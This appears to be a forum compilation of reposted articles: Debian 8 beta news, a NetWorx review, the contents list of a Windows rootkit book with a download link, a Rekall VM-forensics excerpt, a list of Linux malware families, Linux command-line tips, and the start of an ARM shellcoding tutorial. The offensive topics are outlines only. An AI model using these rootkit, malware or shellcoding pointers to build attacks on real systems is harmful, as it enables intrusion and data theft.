Nytro

Debian 8.0 Beta 2 "Jessie" Released with GNOME as Default Developers have also added a tool for choosing other desktop environments during the installation process By Silviu Stahie on October 6th, 2014 09:24 GMT The Debian Installer Team has announced that Debian Installer Jessie Beta 2 is out and ready for download. This latest version brings some very interesting changes for Jessie and a ton of improvements. The Debian installer is always launched first, so if you want to test the latest Debian 8 version, you will have to install it. There is no Live CD, which means that you will need to have a lot of patience. From what we've seen so far, Debian Jessie Beta 2 was worth the wait. Unlike regular Debian versions, which are pretty dull and usually only about small fixes, the Beta ones are much more exciting. This is where the action is and where all the new features are added. GNOME is making a comeback Many users didn't know that, for a while GNOME, had been replaced by Xfce as the default desktop environment for the latest Jessie branch. Since the first Beta for Debian 8 was made available, there have been some debates regarding this particular choice and now GNOME is back in play. It's not like other desktop environments will be hard to use with Debian. In fact, one of the main features of this latest version is a list of DE choices that is provided in tasksel. This makes the installation of any desktop environment very easy and quite handy. It still needs some work, but the option is there. The developers have also said that the Arm64 and ppc64el architectures have received support, the PXE boot images built for kfreebsd have been corrected, the UEFI-based systems are now detected as "efi" subarch, a bunch of new sound drivers have been added to the sound-modules package, and a lot of other smaller fixes and improvements have been made. Debian Jessie doesn't have a release date yet and it will be a while until it is out. From the looks of it, if nothing out of the ordinary happens, GNOME will be the default desktop environment. The only question that remains right now is what version of the GNOME it will be. The 3.14 branch will soon land, but maybe they will manage to get 3.14.1 or even 3.14.2 ready by the time of the feature freeze. More details about this release can be found in the official announcement. You can download Debian Jessie Beta 2 right now from Softpedia. This is still a work in progress, so it's very likely that you will encounter bugs or various problems. Sursa: Debian 8.0 Beta 2 "Jessie" Released with GNOME as Default - Softpedia

NetWorx 5.3.3 Monitor network traffic to test the Internet connection, fix connectivity issues, look out for suspicious activity, and limit the bandwidth Watching over the network activities and monitoring Internet connections are tasks that can be carried out with specialized tools. These jobs are usually completed by system administrators, but any user can try to take care of those and even more with the help of a software like NetWorx. Approachable tool for monitoring network traffic The application is most useful for monitoring parameters like connection speed, bandwidth usage and network testing. Through a rather easy-to-use interface that has all the features neatly organized and accessible with minimal effort, the program addresses all kinds of users, less experienced and experts alike. There are graphs with customizable colors and several options to choose from when it comes to usage statistics as well as for the various reports that NetWorx can generate. A very useful feature is the ability to detect any suspicious activity on the network that may originate from hacking attempts or virus activity. Oversee multiple network interfaces at once If you have several network interfaces connected and several connections to watch over, NetWorx can oversee all of them or only the selected ones. There are some sound and visual notifications that you can utilize to get alerts in case unusual network activity is detected, in addition to email notifications. Another handy function of NetWorx is the ability to cut dial-up connections and power off the system. The powerful reporting component of the software application allows you to view the traffic graphs along with detailed bandwidth usage statistics. The reports can be easily saved in one of the compatible formats, namely Microsoft Excel, Word, CSV, TXT or HTML. Conclusion To sum things up, NetWorx offers quite a lot of features in a rather small package. Easy to use and equipped with a strong feature pack, the tool can surely be considered one of the best choices in its category. Sursa: NetWorx Free Download - Softpedia Link: https://www.softperfect.com/products/networx/

Rootkits: Subverting the Windows Kernel By Greg Hoglund, James Butler ............................................... Publisher: Addison Wesley Professional Pub Date: July 22, 2005 ISBN: 0-321-29431-9 Pages: 352 Table of Contents | Index Copyright Praise for Rootkits Preface Historical Background Target Audience Prerequisites Scope Acknowledgments About the Authors About the Cover Chapter 1. Leave No Trace Understanding Attackers' Motives What Is a Rootkit? Why Do Rootkits Exist? How Long Have Rootkits Been Around? How Do Rootkits Work? What a Rootkit Is Not Rootkits and Software Exploits Offensive Rootkit Technologies Conclusion Chapter 2. Subverting the Kernel Important Kernel Components Rootkit Design Introducing Code into the Kernel Building the Windows Device Driver Loading and Unloading the Driver Logging the Debug Statements Fusion Rootkits: Bridging User and Kernel Modes Loading the Rootkit Decompressing the .sys File from a Resource Surviving Reboot Conclusion Chapter 3. The Hardware Connection Ring Zero Tables, Tables, and More Tables Memory Pages The Memory Descriptor Tables The Interrupt Descriptor Table The System Service Dispatch Table The Control Registers Multiprocessor Systems Conclusion Chapter 4. The Age-Old Art of Hooking Userland Hooks Kernel Hooks A Hybrid Hooking Approach Conclusion Chapter 5. Runtime Patching Detour Patching Jump Templates Variations on the Method Conclusion Chapter 6. Layered Drivers A Keyboard Sniffer The KLOG Rootkit: A Walk-through File Filter Drivers Conclusion Chapter 7. Direct Kernel Object Manipulation DKOM Benefits and Drawbacks Determining the Version of the Operating System Communicating with the Device Driver from Userland Hiding with DKOM Token Privilege and Group Elevation with DKOM Conclusion Chapter 8. Hardware Manipulation Why Hardware? Modifying the Firmware Accessing the Hardware Example: Accessing the Keyboard Controller How Low Can You Go? Microcode Update Conclusion Chapter 9. Covert Channels Remote Command, Control, and Exfiltration of Data Disguised TCP/IP Protocols Kernel TCP/IP Support for Your Rootkit Using TDI Raw Network Manipulation Kernel TCP/IP Support for Your Rootkit Using NDIS Host Emulation Conclusion Chapter 10. Rootkit Detection Detecting Presence Detecting Behavior Conclusion Index Download: http://micropenguin.net/files/Other/Rootkits_Subverting_the_Windows_Kernel.pdf

VM discovery and introspection with Rekall Table of Contents Short introduction to virtualization x86 hardware-assisted virtualization VT-x: Virtualized memory and EPT translation VM introspection Detecting a running VM: Discovering VMCS regions in memory Detecting a running VM: Mapping the layout of the VMCS region Detecting a running VM: One last thing Introspecting a running VM Multi-core VMs Nested virtualization The vmscan plugin How to run a rekall plugin on a VM Live analysis Remote live analysis with GRR The Rekall shell and VMs Use other tools: Export raw memory of a VM Rekall virtualization feature list Future improvements References Monday, 9 AM. Your SIEM alerts you of packets matching a Gh0stpdf signature coming from a web designer’s OS X machine. Network activity for the host shows HTTP requests with a Chrome on Windows user-agent. The machine has Virtualbox installed and running. An hour later, another alert fires for a known-bad URL hit from one of your customers' Windows VMs on your OpenStack Compute/KVM deployment. It looks like it’s gonna be a long week. These are two scenarios that would most likely require disk forensics to triage and analyze since the VMs are out of your control and none of your remote forensics tools are installed. Lots of time wasted just to determine if they are false positives. What if you could inspect the VM and launch your Rekall plugin of choice on it? With Rekall you can! “I want to do it remotely, live!” Try GRR (now with Rekall integration) *wink*. What if you prefer to use your tool of choice instead of Rekall to analyze the VM memory? Rekall helps you! Rekall is the first memory framework to support transparent introspection of VMs with any host-guest OS combination and is independent of the virtualization software layer, as long as it’s employing Intel Virtualization extensions with Extended Page Tables which is present in all modern Intel processors and the default for many virtualization packages. Together with GRR, Rekall allows you to discover virtual machines running in your fleet and analyze their memory, live requiring only access to the host. No interaction is done with the virtualization layer. In this article I’ll explain how Intel’s hardware-assisted virtualization works, how Rekall emulates this technology to allow transparent introspection of guest VMs from just the host memory and the challenges of its implementation. If you just want to know how detect and analyze VMs right away, see [the_vmscan_plugin]. For a complete feature list, see [feature_list]. Short introduction to virtualization Virtualization has become a pervasive technology. From cloud infrastructure and malware analysis sandboxes, to consumer-grade virtualization products that allow you to run your Operating System of choice, virtualization is everywhere. Virtualization at its core separates software from hardware in a way that allows multiple operating systems to share the same resources, at the same time. Some resources such as memory are split so that each virtual machine has access to a portion of it, while others like your network card are shared. It is a not a new concept and several different techniques have been used for a long time to provide such capabilities. Virtualization can be done in multiple ways: Full emulation (like in Bochs) allows for complete control over the running code at the expense of speed. Each and every CPU instruction of the guest OS is trapped and its effect on the state of the virtual machine is emulated. Binary translation, on the other hand, takes blocks of instructions and translates them to a different set of instructions. Then they are executed natively in the processor. This technique can be used to apply optimizations, run code compiled for a CPU in a different CPU or to facilitate debugging by introducing traps in the code. Paravirtualization, instead, requires the guest kernel to be modified so that it knows that it’s running virtualized and executes code accordingly. It usually provides better performance than either Full emulation or Binary translation but is only supported by some operating systems (i.e Linux-XEN). Hardware-assisted. Where the CPU provides functionality to aid or speed up virtualization tasks such as running the guest code, quick page translations or device access control. Because most operating systems base process isolation on paging and page-level protections, virtualization solutions must also virtualize paged memory. The main problem with this is that virtualizing paged memory adds noticeable overhead. By 2004, AMD realized the need for hardware-assisted virtualization and announced their virtualization solution AMD-V (codenamed Pacifica). It wasn’t until May 2006 that they commercialized the first Athlon 64 processors with AMD-V support. To improve performance of page translations, AMD introduced a technology called RVI (Rapid Virtualization Indexing) in September 2007. Intel also realized the problem and introduced VT-x (codename Vanderpool) in November 2005 along with processors that had support for it. However, it wasn’t until November 2008 that Intel introduced their response to AMD’s RVI, called EPT (Extended Page Tables) in their 2nd generation processors. Both AMD-V and VT-x introduce support for running code for the VM directly on the CPU, while offering at least the same level of protection as native code. Both RVI and EPT attempt to solve or mitigate some of the page translation overhead by allowing the processor to perform all the page translations for the VM all the way up to the physical memory. Both hardware-assisted solutions are remarkably similar. Nowadays, most virtualization solutions use hardware-assisted virtualization when available and resort to a mix of the aforementioned techniques when it’s unavailable. Some solutions implement a backdoor of sorts in the kernel that is allowed direct communication from the guest to the host (an example of which is VMWare Tools). Rekall supports detection and transparent emulation of Intel VT-x with EPT translation since January 2014. We support any host and guest OS, both 32 and 64bits. Articol complet: http://www.rekall-forensic.com/posts/2014-10-03-vms.html

[h=3]List of Linux Malware[/h] by EP_X0FF » Mon Sep 08, 2014 10:17 am Below is list of Linux system oriented malware families. AES.DDoS BillGates BoSSaBoT Cdorked Darkleech Elknot GoARM.Bot Hanthie IptabLex|s KBeast LightTaidra (mod Zendran) Mayhem Pscan+SSHscan ShellReverseTcp (used by Shellshock) Shellshock (Bash0day, Bashdoor) Snakso Tsunami Xor.DDoS Yangji other Linux Kernel 2.6.27 x86/x64 exploit If you have more Linux based malware not listed here, and you want to share them - please create separate topic, link to it will be added here. Link to this topic added to pinned thread Interesting malware. Samples credits to: unixfreaxjp, rkhunter, K_Mikhail, Xylitol and some others. Sursa: KernelMode.info • View topic - List of Linux Malware

More Linux tips every geek should know Posted at 12:41pm on Friday March 6th 2009 If you've already read and memorised our "Linux tips every geek should know" and "20 all-new tips for KDE 4.2" features, we've picked out 50 more Linux desktop tips for you to enjoy. And remember, if you don't ask, you don't get - follow us on Identi.ca or Twitter to have your say on what we post next... Command line #1: Auto-correct typos Typing on the command line isn't easy. First, it takes a lot of time to learn how all the commands work, but then even after that you need to be very precise with your file and directory names, otherwise you'll need to try and try again. But there's a way out: Bash has a built-in command called "shopt" that lets you set various command-line options. For example, running shopt -s cdspell enables automatic typo correction for directory names, so that typing cd /hom/hudzila will get you to the nearest match - /home/hudzilla. You can also use shopt -s nocaseglob so that when you type part of a filename and press Tab to autocomplete, Bash does a case-insensitive search. #2: Sequential command history Apparently computers are here to make life easier, but that's news to us - all too often we find people executing the same boring repetitive sequence of commands to get a job done, rather than think a little smarter and really flex the full power of Bash. For example, if you want to run the last three commands repeatedly, just scroll up to the first one in the sequence, hold down the Control key and tap O as many times as you need. Each time you tap O, one command in the sequence will be executed, and when it hits the last command it goes back to the first one you selected and repeats. #3: Make working as root safer Working with root is either great fun or extremely dangerous, depending on how much you like the feeling of supreme executive power. But if you're one of the people who fears the mighty power of the superuser to delete files with impunity, what you need is chattr: it lets you set a file as being immutable, which means that not even root can delete it. For example: running chattr +i myfile.txt as root will make that file virtually indestructable no matter what user you are. If you want to remove the shield of steel, use -i rather than +i. #4: Selective deletion If you have a directory that contains ten subdirectories and you want to delete three of them, the slow way to do it would be like this: rm -rf /home/hudzilla/work rm -rf /home/hudzilla/projects rm -rf /home/hudzilla/sandbox But that's pretty darn slow and open to making mistakes - a much smarter way to is to let Bash perform multiple filename expansion by placing the options inside braces. For example, this would achieve the same as the three lines from above: rm -rf /home/hudzilla/{work,projects,sandbox} #5: Locate with style Everyone loves the locate command, because as long as your index is up-to-date, there is no faster way to find files matching a certain name. Of course, the problem with locate is that it just lists filenames, which is no good if you want more information on those files, such as how much space they take up. Well, why not try piping the output from locate through ls? For example, this neat little one-liner will find files matching somefile, then pipe that list through ls -lsh so you'll see all the matching results as well as how big they are on your system: locate somefile | xargs ls -lsh #6: Silence the beeps Sick of your computer speaker beeping like a demented Morse code machine whenever you type something wrongly? Teach it the sound of silence: run the command setterm -blength 0 to mute the alarm bell no matter what kind of terminal you're typing into. If you want it to happen every time you start a terminal, just add the command to your .bash_profile file. If you just want to get rid of error messages completely, redirect the standard error stream to the pseudo-device /dev/null using the notation 2> /dev/null. Here's an example using the find command: $ find / -user chris 2> /dev/null #7: Cutting text Awk is a powerful beast for extracting information from lines of text, often far more than is needed. The cut command does the same sort of thing more easily. cut -c1-10 returns the first ten characters from each line of standard input, while cut -f 3 -d ' ' returns the third field, where the delimiter for a field is set to a space by -d, so it returns the third word. Cut has more options, but all are simple to use. #8: Checking your aliases Some distros ship with a wide selection of aliases, with SUSE often leading the pack. If you want to find out just what Bash is up to behind your back, you can query your aliases by using the type command, like this: type -all ls - that will ask Bash to list precisely what it considers ls to be, and you'll probably find that ls is aliased to something like ls --color=auto and of course also that it lives as a real program in /bin/ls. Alternatively, if these colours annoy you you can turn them off quite easily. To turn it off for one specific shell, type the command unalias ls. To turn it off permanently, just add that command to the .bashrc file in your home directory, so that all your bash shells will see it as they start up and not blind you with garish colour. #9: Get at a DVD virtually Sometimes even Linux Format's magical powers can't squeeze every distro onto a disc in bootable format, which means that sometimes we need to give you ISO files containing the latest and greatest. These ISOs are great if you have a CD burner and want to install the distro sharpish; however, sometimes you just want to nab a few of the snazzier looking wallpapers (Fedora Core 7's balloons, anyone?), in which case your best bet is to mount the ISO as a filesystem, then copy off whatever you want, like this: mkdir /mnt/myiso mount -o loop -t iso9660 some.iso /mnt/myiso #10: Instant spelling suggestions Looking to reject the GUI life altogether and restrict yourself to the command line like a real Unix geek? Great! But as soon as you miss the OOo spellchecker, don't fret: most Linux systems come with the look command built-in, which is a command-line spellchecker. To get started, type look followed by part of a word: look separ should show you matches like "separate", "separately", and so on, whereas entering: look seper will show nothing, because "seperate" is a mis-spelling. #11: Add colourful prompts Do you live life on the command line, but often forget which terminal is your local box and which is SSH'd into your critical server? There are a number of fixes for this - chiefly, don't be an idiot and look where you are typing first. You might also want to use a different virtual desktop for SSH sessions. But perhaps the easiest, most obvious way is to change the terminal prompt. Default prompts on unix systems are usually grey or white on a black background, or sometimes the reverse. How much more obvious can it be that you are somewhere else if your prompt is entirely different, like maybe flashing bold red with some warnings? The prompt for almost all shells is included in the PS1 system variable, so we just need to change that to change the prompt. try the following: export PS1="\e[48;34m \u@\H:\W\e[m>\$ " You can get a list of the escaped characters used to make up the prompt here: www.gnu.org/software/bash/manual/bashref.html#SEC83. Remember to write this to the .bashrc file in your user directory to make it permanent- #12: Re-using old commands. It's a pretty common situation to find you once typed a huge long command that you thought you would never need again, but now you do, but what's the fix? Well, if you're using Bash, you can make use of the history feature (use the Up arrow) of Bash. But what if you have only a vague memory of the command? The history command can help: history | grep -i "<yoursearchstring>" The numbers indicate the history file number of the command, you can execute it by simply typing '!' followed by the number at the bash prompt. #13: Seeing further into the past If your Bash history file never seems to go back far enough to find the command you want, just change the history file size by putting the following in your .bashrc file HISTSIZE=10000 HISTFILESIZE=10000 You can also use unset HISTSIZE and unset HISTFILESIZE to permanently keep all commands entered, but that should be used with caution. #14: Reduce typing and memory usage Long commands are easier to mistype, and lists of long arguments are harder to remember. If you regularly use a command with the same arguments, create an alias to run it by adding: alias myalias='longcommand --with --lots --of --options' to your .bashrc file (or the system /etc/profile) and you can run the whole command with myalias, or even mya[TAB]. You can add further options or arguments when running the alias, which are passed to the original command, like myalias myfile System administration #15: Ignore upgrades you don't want Apt - the Debian packaging system - lets you 'pin' packages so that they never get changed by other software upgrades. For example, if you want a specific version of GCC, install it as normal then load Synaptic, choose the software you just installed, then make sure Lock Selection is checked from under the Package menu. No more will other packages be able to dictate what version you have installed! #16: Quick renames Can you remember back to your first days with Linux or Unix, and all the problems you had when things didn't work quite how you expect? A lot of people moving to Linux from Windows think they can take their DOS skills and apply them straight to the command line, but that leads to all sorts of problems - not least the lack of any sort of disk defragmenter on Linux! But a common source of confusion is how Linux uses mv instead of ren to rename files, which is kind of second-nature to us Linux veterans because obviously moving a file is the same as renaming it. That said, Linux does actually have a rename program all of its own, called simply rename. It's quite different to mv, though - rename's job is to mass-rename one lot of files to something else. For example, back when PHP 3 was the norm, PHP files had the extension .php3. When PHP 4 came out, everyone moved to plain old .php, so you might want to rename all your .php3 files to .php. Well, that's what rename is good for, like this: rename .php3 .php *.php3 #17: Get off my files! Unix-like systems such as Linux have one feature that is simultaneously very annoying and very clever: if someone is reading from a file and it gets deleted, that file actually sticks around until it is no longer being read. In fact, you can even write over the file, and it won't affect the person reading it, which is great for when you make changes to your website and don't want to interrupt Apache; but can be annoying when you're trying to delete a file and lots of people are using it. Here's the fix you've been waiting for: the fuser command lists all the processes that have a handle open on your file, and you can even pass the -k switch to kill off any processes that are working with it. Do that, then delete the file freely! #18: Absolute deletion Using rm to delete files is just begging people to skank around your disk to read the old data, which is no good if you really want your files to disappear forever. Fortunately for all of us, there's the shred command, which overwrites your file with new data multiple times before deleting it, which makes recovery absolutely impossible. For example, if you wanted to be absolutely sure that the file passwords was removed, you would use this command: shred -z -u passwords That overwrites the file with random data 25 times, which is then followed by a final zero pass (-z) so that no one can tell you've shredded something, then removes it (-u). The removal isn't enabled by default, because you can tell shred to work on entire partitions (eg shred /dev/hda1), in which case you probably don't want it removed. #19: Automated kernel installation When compiling a custom kernel, there is no need to copy the kernel and other files manually. Running make install after compiling the kernel will copy it to /boot and also place a backup copy of the kernel configuration there. More importantly, it will create symlinks from vmlinuz to your new kernel and vmlinuz.old to the previous one. If your bootloader has entries for these two kernels, you can always boot the newest and your older fallback kernel without touching Grub or Lilo's configuration files. make install will also run Lilo if necessary. #20: Watch the logs You can monitor system log files to see what is reported as you try to run a program or plug in some hardware. Most programs send reports to the system log, which you can watch in a separate root terminal with tail -f /var/log/messages The -f, or --follow, option shows messages as they are written to the log, and you can use this with any log file. If there is too much noise for you to be able to read any useful information, use grep to show only messages relating to your process with tail -f /var/log/messages | grep ssh #21: Simple web filtering If there are sites you don't want your users going to, there's one quick fix way to block them for good: open up your /etc/hosts file and add lines like this: 127.0.0.1 myspace.com 127.0.0.1 facebook.com For added policing effect, put up a web server at the local machine and put a nice warning message up there about the dangers of social networking for kids! #22: Test your system to the limit So you've built your shiny new server, and you've got Apache, MySQL and PHP all working nicely, but do you know what happens if your server comes under a lot of load? If not, it's worth finding out, so that you can put recovery mechanisms in place and make sure you adjust your quality of service mechanisms to serve the most important requests first. You can artificially bump up the load on your box by using the dbench tool, eg dbench 20 should give you a good chance to make sure SSH is nice and responsive so you can still administer your box if it comes under pressure! #23: User slaying There's nothing worse than finding all that important Crack Attacking you're doing suddenly gets ground to a halt by some greedy user logging and chewing up valuable CPU time with report generating or database querying. And so God gave us the skill command, which sends a signal to a particular process, terminal or user, allowing the root user to control precisely what other users are up to. Our particular favourite is skill -KILL -u degville, which means "kill of all of Degville's programs, then log him out." Then you can go back to Crack Attack and devote your full attention to it... Firefox #24: Duplicate tabs Everyone knows that Ctrl+T brings up a new tab, but did you also know that Ctrl+Z automatically sets the new tab to have the same URL as the previous tab? It's great for duplicating windows! #25: Shorter download notices "YES, I KNOW ALL THE DOWNLOADS FINISHED - GO AWAY!" is a fairly regular mental scream around here. You see, Firefox likes telling you when all downloads are finished by bringing showing a small box in the corner of your screen, happily obscuring anything else you might have down there. Yes, the little download box is useful, but no, we don't need it hanging around there for four seconds - go to the URL about:config in Firefox and change the alerts.totalOpenTime setting to something nice and quick, like 500 (milliseconds, ie half a second). #26: Firefox profiles In the old days, running any Mozilla application twice at the same time would usually bring up a silly profile manager screen that didn't seem to make much sense. But with Firefox having a billion-and-one configuration settings that can highly customise your browsing experience, there's finally a real use for the profile manager: you can create one full of tweaks, bookmarks, toolbars and extensions for power browsing, and another RAM-light profile that keeps caching to a minimum and loads a lean and mean Firefox that's great for checking emails and reading the news. To get to the profile manager screen, just run Firefox with the -profilemanager parameter, eg mozilla-firefox -profilemanager. #27: Kill the popups for good Surprisingly enough, Firefox allows 20 popup windows to appear simultaneously, which is enough to completely fill your screen with crapware advertisements. This is a silly high number, so change it something more sensible by editing the dom.popup_maximum setting - we'd recommend somewhere between 3 and 7. #28: Stop the picture shrink Here's one feature you either love or hate: when Firefox opens an image that's too big for your browser window, it automatically gets resized down to fit. Usually this is on by default, but if like us you always find yourself clicking to make the picture bigger anyway, you might as well go to about:config and change browser.enable_automatic_image_resizing to be false. #29: Can the Go button Desperate to maximise the amount of space on your Firefox window? Well, think about this: how often do you use the little green 'Go' arrow button next to the location bar? Probably never, we reckon, which is why we often remove the little blighter altogether - to do the same, change browser.urlbar.hideGoButton to be true. #30: Not so lucky after all If you type some text into the location bar and hit Enter, Firefox will automatically use Google to search for the best-matching site and load it using I'm Feeling Lucky. If this irks you, change the keyword.URL value in about:config to whatever search string suits you - Google is quite common, because that performs a Google-seach on the text and brings up the normal results page rather than just jumping to the first result. Desktop #31: Disable your touchpad Ever had the frustrating experience of nudging your laptop's trackpad while typing, only to have it count as a click and move the cursor somewhere you didn't want it? Sure you have - but it's easily fixed! Edit your xorg.conf file as root, then make sure you add this line to the InputDevice section of your trackpad: Option "SHMConfig" "on" Now go to System > Preferences > Sessions and click the New button under Startup Programs, and add the following command: syndaemon -i 1 -d. Now restart your machine, and you're all set - your trackpad will still work as normal, except now you can't knock it by accident while typing! #32: Hide Gnome apps in KDE and vice versa Running Ubuntu is great until you try to install Kubuntu (or vice versa), because your previously neatly organised menu system goes into overload meltdown with dozens of programs from both desktops fighting for your priority. But there's a fix: you can force individual shortcuts to appear only in Gnome or only in KDE as opposed to being in both. To do this, switch to root and browser to /usr/share/applications (for Gnome apps) or /usr/share/applications/kde (for KDE apps). Then open a shortcut file in your text editor, and add one of these two lines to the bottom: OnlyShowIn=KDE for KDE-only applications; or OnlyShowIn=GNOME for Gnome-only applications. #33: Stay in the loop even when offline We love Evolution's web calendaring system, because it's smart, fast and easy to use. So you can imagine our pain, then, on the rare occasions we go offline and suddenly find our calendars missing. But there's a quick and simple fix for this - go to your right-click on your calendar, choose Properties, then make sure the Copy Calendar Contents Locally box is checked. Easy! KDE #34: Watch, don't wait Some command-line commands, such as "tail", print out information when something of interest happens, as opposed to just constantly printing out a stream of text. If you want to keep an eye on something without literally having to stare at it, Konsole has the perfect option for you: go to the View menu and choose the Monitor For Activity option. Now you can carry on with your normal work, and Konsole will flash when your terminal has something of interest for you. #35: Add Close buttons to Konqueror tabs Firefox has an option to add a Close button to each tab; so does Konqueror but it replaces the website icon. To get the best of both worlds - a site icon that turns into a Close button when the mouse is over it - load ~/.kde/share/config/konquerorrc into your favourite text editor and add the following to the section starting with [FMSettings]: AddTabButton=false CloseTabButton=false HoverCloseButton=true #36: Calculations at your fingertips Most people know that Alt+F2 brings up the Run command where you can type in commands you want to run, but did you also know that you can use it for quick calculations? Try it out - press Alt+F2, then type 4+9*5/2 and click Run; you should see the answer 26.50000000. It's very basic, but you're able to do calculations with +, -, *, / and brackets/parentheses, which is enough for basic calculation purposes. #37: Easy info pages Man pages are easy to read (if not always easy to understand) but some programs put their best documentation in info pages. The info page reader uses some arcane keystrokes to navigate what is basically hypertext, making it unintuitive for less-than-regular users. So use a hypertext reader you are used to: a web browser. Type info:progname into Konqueror (or the Alt+F2 Run command requester) to read an info page as if it were a web page, complete with clickable links. #38: Even quicker acronym searches The Alt+F2 box has another cool feature: all those quick searches you use in the Konqueror location bar work just as well from the Alt+F2 command runner! For example, to do a quick search for poodles, just hit Alt+F2, type gg:poodles, then hit Enter - Konqueror will automatically launch and get pointed at Google with your results. #39: Delegating power The KDE Control Center is the hub of KDE's configuration for your PC, which means if you want something changed you'll probably find it in there somewhere. But if you find it's a bit too much - either for you, or for someone whose PC you're setting up who is a bit afraid of Linux - then you ought to try creating your own Control Center shell that loads only the modules you're interested in. For example, if you wanted to run Control Center so that you only saw the colours, fonts, screensavers and style options, you would use this command: kcmshell4 colors fonts screensaver style Note the US spelling of colour! Gnome #40: Add scripts to Nautilus Right-clicking on your desktop gives a traditionally Gnome-like selection of options: you can move the icons around a bit, change the background, and that's about it. But Nautilus is capable of so much more - in fact, you can super-charge your Gnome right-click menus by installing Nautilus shell scripts into your ~/.gnome2/nautilus-scripts directory. There's a great selection of scripts available from Content GNOME-Look.org - try some of them out to see which suit you! #41: Make Gnome menus appear faster One of our pet peeves is how slow the Gnome menus appear when you hover over them, which is a shame really because that's something we can fix in five seconds flat - just put this text into the file .gtkrc-2.0 in your home directory: gtk-menu-popup-delay = 0 #42: Add more functions to Nautilus Nautilus has a surprising amount of power with its extensions, but none are installed by default leaving it looking somewhat bare. That's easily fixed, though, particularly if you're using Ubuntu - just apt-get the nautilus-gksu and nautilus-open-terminal extensions, restart Nautilus, enjoy the feature upgrade! #43: Change default browser for files Not everyone likes Nautilus. In fact, if you're a power user, a slim-and-light lover or indeed anyone who gets bored with blandness easily, Nautilus is rather hard to love. Fortunately, you can force Gnome to use a different file manager for the Places shortcuts shown in the menu bar, because each of these have their own application shortcut shown in /usr/share/applications. For example, if you want to launch a different file manager when you click Places > Home Folder, crack open the /usr/share/applications/nautilus-home.desktop file and change the Exec line to your browser of choice. #44: GTweakUI heaven Gnome, like most Apple software, likes hiding options from you that take some hacking to reach. So hurray, then, for GTweakUI, which opens up a whole new world of options to play with. Our particular favourite is "Use home folder as desktop", which means you get instant access to all your files without going through the Places menu. But there are lots to play - get tweaking! Performance #45: Super-fast temporary files Remember the old days of RAM disks? Well, Linux has them too! If you've never tried them, a RAM disk is a virtual filesystem that runs entirely from your PC's main memory, which means it's lightning fast to read and write anything you want. How much space you choose to allocate to your RAM disk is down to how much RAM you have and how much you plan to use it - if you have 1GB of RAM, you can easily spare 64MB for a ramdisk; if you have 2GB you can probably spare 256MB, and if you're lucky enough to have 4GB then you can easily stretch your RAM disk legs with 1GB. Here's how to set up a 64MB disk - just change the 65536 for the size you want: mkfs -t ext3 -q /dev/ram1 65536 mkdir -p /ramdisk mount /dev/ram1 /ramdisk -o defaults,rw Alternatively, a reader suggested you could also try using tmpfs, like this: mkdir /ramdisk mount none -t tmpfs -o size=256M /ramdisk That will allocate 256MB of space to your RAM disk. If you skip the "-o size=256M" part, half your RAM will be used by default. #46: Avoid the disk There's very little that's more annoying in Linux than its ability to use the swap file completely regardless of how much RAM you have installed on your machine. Yes, this is helpful in some scenarios - notably when your system is under heavy load and is really getting maxed out - but generally, if you have 2GB or more RAM, you'll have lots free waiting to be used. The way to force Linux to use swap space less is to edit the /etc/sysctl.conf file and to look for (or create) the vm.swappiness line. If you have lots of RAM and want to minimise the amount of swapping Linux does, set the line to be this: vm.swappiness=10 #47: No more disk thrashing We've said this time and time again, but people really never seem to take it seriously: if you want your disks to run at their full potential, make sure and enable the relatime option in /etc/fstab. You see, every time your disk does a read (eg reading a file), it also does a write, to store the information pertaining to when the file was last read. This process is incredibly slow, and you can get a sizeable speed boost - usually around 10 per cent - with just one simple tweak. Switch to root, then open up /etc/fstab in your favourite text editor. Look for where you root filesystem is, and make sure that it uses defaults,relatime,data=writeback for its settings, then save, reboot and let your poor overworked PC perform to its full potential... At last! OpenOffice.org #48: Styles on your keyboard It's one thing spending time adjusting the OpenOffice.org styles to fit your needs, but it's quite another to be bothered to apply those styles everywhere they are needed! And admittedly it's a bit of a pain to take your hands off the keyboard, point and click your mouse on a style, then carry on typing, so it might be surprising that OOo doesn't allow keyboard shortcuts for styles. But here's the thing: it does let you apply keyboard shortcuts, but it takes a bit of hacking. First, set up your styles just as you want them. Then go to Tools > Macros > Record Macro, and click the style you want to apply. Now click the floating Stop Recording button and save your macro as ApplyingStyleXYZ (you can't use spaces in your names, remember!). You've basically made OOo write a little program to apply that style for you. Now for the magic: click Tools > Customize, select the Keyboard tab, then scroll down the list of shortcut keys until you find one you like, eg Ctrl+Shift+A. In the bottom part of the window, choose OpenOffice.org Macros > User > Standard > Module1 from the Category list, then you should see your macro name appear in the Function list. Choose that, then click Modify - this assigns the selected macro function to the selected shortcut key, essentially making Ctrl+Shift+A apply your style immediately. #49: Skip the branding Sick of the way you get a splash screen every time you open an OpenOffice.org program? Well, if you can find the OOo configuration file on your computer, you can disable it. Windows users should find the configuration file in their OpenOffice.org installation directory, under the 'program' subdirectory - look for soffice.ini. Linux users should look for the sofficerc file. Open that using your text editor, and change this: Logo=1 to this: Logo=0 OOo will now load significantly faster, and take up less screen real estate while it loads - winner! #50: Help the widows and orphans There are two things that make magazine proofreaders pull their hair out: orphans and widows and spelling errors. OK, so that's three things: orphans, widows, spelling errors, late text arriving from writers, and stale style guides. And... well, alright - all sorts of stuff makes them angry, but as far as we're concerned for this tip, it's the orphans and widows that are most important! An orphan in the publishing world is any word that appears on a line by itself at the end of a paragraph, and a widow is a part of a sentence that finishes a paragraph that runs over to the start of a new page. Both look bad, but rather than making creative use of empty line breaks, you should let Writer do the hard work for you - go to Format > Paragraph > Text Flow, and make sure Orphan Control and Widow Control are both enabled. Sursa: More Linux tips every geek should know - StumbleUpon

ARM Architecture Shellcoding by Anwar Mohamed - 05-10-2014 Introduction to the ARM architecture ARM is a family of instruction set architectures for computer processors based on a reduced instruction set computing (RISC) architecture developed by British company ARM Holdings. Also it is the most widely used 32-bit instruction set architecture. For a list of the ARM processor cores and handsets built on them, have a look at this link ARM architecture today has some features that were derived from the old Berkeley RISC including a load-store architecture, fixed length 32-bit instructions and 3-address instruction formats. The ARM architecture is also the most present in the field of Mobile Computing. Numerous operating systems have been ported to that architecture including Linux (Used by Android), iOS (Used by iPhone & iPad) and Windows Phone 8 (Used by many Nokia-Lumia smartphones). Register conventions Register Alt. Name Usage r0 a1 First function argument Integer function result Scratch register r1 a2 Second function argument Scratch register r2 a3 Third function argument Scratch register r3 a4 Fourth function argument Scratch register r4 v1 Register variable r5 v2 Register variable r6 v3 Register variable r7 v4 Register variable r8 v5 Register variable r9 v6 rfp Register variable Real frame pointer r10 sl Stack limit r11 fp Argument pointer r12 ip Temporary workspace r13 sp Stack pointer r14 lr Link register 